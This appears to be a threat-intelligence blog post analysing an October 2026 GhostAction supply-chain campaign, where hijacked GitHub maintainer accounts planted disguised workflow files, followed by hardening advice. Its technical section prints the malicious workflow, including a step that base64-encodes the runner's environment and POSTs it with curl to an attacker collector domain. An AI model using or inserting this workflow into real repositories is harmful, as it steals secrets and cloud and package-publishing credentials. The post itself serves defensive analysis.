Date: October 10, 2026
Author: Threat Research & Intelligence Team, Digital Spying
Category: Software Supply Chain / CI/CD Security / DevSecOps / Credential Theft / GitHub Security
Tags: GhostAction, GitHub Actions, StepSecurity, Socket, Supply Chain Attack, Pyxel, Takashi Kitao, Henry Wu, CI/CD, Secrets Harvesting
Executive Summary
The open-source software supply chain is grappling with an unprecedented automated credential-harvesting campaign. On October 9–10, 2026, cybersecurity research teams at StepSecurity and Socket released coordinated threat disclosures detailing a massive resurgence of the GhostAction campaign. In this latest wave, threat actors hijacked the credentials of more than 500 GitHub maintainers—including creators of prominent, highly starred open-source libraries—to plant malicious CI/CD workflows across tens of thousands of repositories.
As reported by StepSecurity, Socket, and The Hacker News, the attackers compromised the personal access tokens (PATs) and credentials of major developers. Among them were Takashi Kitao, author of the 18,400-star retro game engine pyxel, whose account was used to inject malicious workflows into 27 repositories, and Henry Wu (henrywoo), original creator of Uber's athenadriver, whose account pushed identical malicious files into 318 repositories within a 16-minute window.
The injected .github/workflows/ files masquerade under benign titles such as "Security Audit" or "CI Code Quality." The moment they trigger on standard repository events (push or pull_request), they harvest all available repository secrets, environment variables, default GITHUB_TOKEN values, cloud credentials (AWS, GCP, Azure), Docker tokens, and package registry publishing keys (npm, PyPI), exfiltrating them in base64-encoded bundles to attacker-controlled command-and-control (C2) servers.
Technical Deep-Dive: Deconstructing the GhostAction Supply Chain Attack
To understand how an attacker can leverage compromised maintainer credentials to compromise entire CI/CD pipelines, we examine the anatomy of the workflow injection, the execution triggers, and the credential harvesting mechanism.
Execution Stage
Threat Actor Action
Targeted Infrastructure / Asset
Impact & Blast Radius
1. Maintainer Account Takeover
Steal PATs and session cookies via infostealers; conduct credential stuffing on non-MFA accounts.
Developer Workstations & GitHub Accounts
Unrestricted write access to hundreds of open-source repositories.
2. Automated Workflow Injection
Execute rapid scripts to push .github/workflows/security-audit.yml directly to primary branches.
Target GitHub Repositories
Stealth injection of persistent execution vectors disguised as security tools.
3. Trigger & Runner Execution
Fire workflow execution automatically on standard push or pull_request events.
GitHub-Hosted Ephemeral Runners
Runner environment bootstraps with all repository secrets and ambient environment variables.
4. Secret Dumping & Encoding
Execute shell payloads (env | base64) to harvest all active secrets, keys, and tokens.
Cloud Credentials, GITHUB_TOKEN, Package Keys
Complete exposure of repository secrets and organization deployment credentials.
5. Silent Outbound Exfiltration
Transmit base64 payloads to external C2 via standard curl POST requests.
Attacker Command & Control Infrastructure
Exfiltration bypasses traditional code scanners due to post-commit runtime execution.
6. Downstream Supply Chain Pivoting
Utilize stolen package keys (npm/PyPI) and cloud keys to publish backdoored updates.
Enterprise Infrastructure & Downstream Packages
Widespread compromise of downstream corporate software supply chains.
1. Maintainer Account Compromise Vector
The primary initial access vector in the GhostAction campaign was the compromise of developer authentication credentials:
* Personal Access Token (PAT) Leaks & Infostealers: Attackers harvested unexpired GitHub Personal Access Tokens and session cookies from underground infostealer logs (RedLine, Lumma, Vidar) infecting developer workstations.
* Credential Stuffing & Lack of Hardware MFA: Where accounts lacked mandatory hardware security key (FIDO2/WebAuthn) enforcement, threat actors used credential stuffing across developer accounts to authenticate directly and generate new automation tokens.
* Rapid Automation: The attacks were executed via automated scripts. Within minutes of gaining access, the adversary's tooling iterated through all repositories owned or administered by the maintainer, committing the malicious workflow file across every project without human intervention.
2. Anatomy of the Malicious Workflow File
The attackers designed the injected YAML files to appear legitimate during casual inspection:
* Disguised Metadata: The workflow named itself "Security Audit", "Codeql-Analysis", or "Automated Dependency Check."
* Aggressive Execution Triggers:
name: "Security Health Audit"
on:
push:
branches: [ "**" ]
pull_request:
types: [ opened, synchronize, reopened ]
workflow_dispatch:
By binding to all branch pushes and pull requests, the workflow ensured that any subsequent code commit by any project contributor would immediately spin up a runner and execute the harvesting logic.
* The Exfiltration Payload:
The job script executes an inline shell command that dumps all active environment variables and secrets populated in the runner context:
jobs:
audit:
runs-on: ubuntu-latest
steps:
- name: Check Environment
run: |
DATA=$(env | base64 | tr -d '\n')
curl -s -X POST -d "$DATA" https://c2-collector[.]net/api/v1/report || true
Because GitHub runners permit unrestricted outbound internet traffic by default, the curl command seamlessly exfiltrated the sensitive payload to the adversary's collector domain.
3. The Stolen Assets: The True Blast Radius
While code repositories themselves are valuable, the real prize for the GhostAction operators was the runner's execution environment:
* GITHUB_TOKEN Abuse: On repositories utilizing GitHub's default workflow permissions (read/write), the GITHUB_TOKEN possesses permissions to alter releases, push commits to protected branches, and create releases.
* Cloud Infrastructure Keys: Many open-source repositories automate deployment and testing, storing AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AZURE_CREDENTIALS, and GOOGLE_CREDENTIALS as GitHub Secrets.
* Package Registry Publishing Tokens: Repository secrets frequently house automated publishing tokens for npm, PyPI, RubyGems, and Docker Hub. With these tokens, an attacker can publish malicious version updates to widely used packages, poisoning the software supply chain for millions of downstream enterprise applications.
Industry Impact on DevSecOps and the Open Source Commons
The scale of the October 2026 GhostAction wave illustrates the systemic vulnerability of modern CI/CD automation:
* The Blind Trust in Maintainer Identity: Git commits pushed by a trusted, recognizable maintainer account bypass standard scrutiny. Peer reviewers and automated bots routinely assume commits from the project owner are benign.
* CI/CD As an Attack Surface: Organizations invest heavily in scanning application code for vulnerabilities while neglecting security controls on the CI/CD pipeline infrastructure itself. The CI/CD runner is an execution environment with access to the enterprise's most sensitive cryptographic keys.
Defensive Hardening Blueprint & Remediation Strategies
To defend open-source repositories and enterprise organizations against GitHub Actions workflow poisoning, security teams must deploy the following controls:
1. Restrict Default Workflow Permissions in GitHub
* In your GitHub Organization or Repository settings:
Navigate to Settings -> Actions -> General -> Workflow permissions.
* Change the default permission from "Read and write permissions" to "Read repository contents and packages permissions".
* Require explicit permission blocks within individual workflow files (permissions: { contents: read }).
2. Restrict Outbound Runner Egress (Egress Filtering)
* Block Unrestricted Internet Traffic: Deploy security tools such as StepSecurity Harden-Runner or custom egress firewalls on self-hosted and hosted runners.
* Enforce strict domain whitelisting (e.g., only allowing egress to github.com, registry.npmjs.org, or specific cloud APIs) to block unauthorized exfiltration to arbitrary external C2 servers.
3. Enforce Branch Protection and Rule Sets on .github/
* Configure GitHub repository rulesets to require mandatory pull request reviews and status checks for any modifications to files within the .github/workflows/ directory, preventing even project administrators from directly pushing workflow modifications without secondary peer approval.
4. Mandatory Hardware-Backed MFA (FIDO2) for Maintainers
* Mandate security key (YubiKey / FIDO2) multi-factor authentication across all organizational members and maintainers.
* Enforce short expiration limits on Personal Access Tokens (PATs) and restrict tokens to fine-grained repository permissions rather than classic, broad account-wide scopes.
5. Immediate Secret Rotation and Incident Triage
For any repository compromised in the GhostAction campaign:
* Immediately revoke and rotate all stored GitHub Secrets, cloud access keys, and package publishing tokens.
* Review package registry upload histories (npm, PyPI) to verify that unauthorized releases were not published during the compromise window.
For software supply chain threat intelligence, CI/CD security teardowns, and DevSecOps defense blueprints, subscribe to Digital Spying.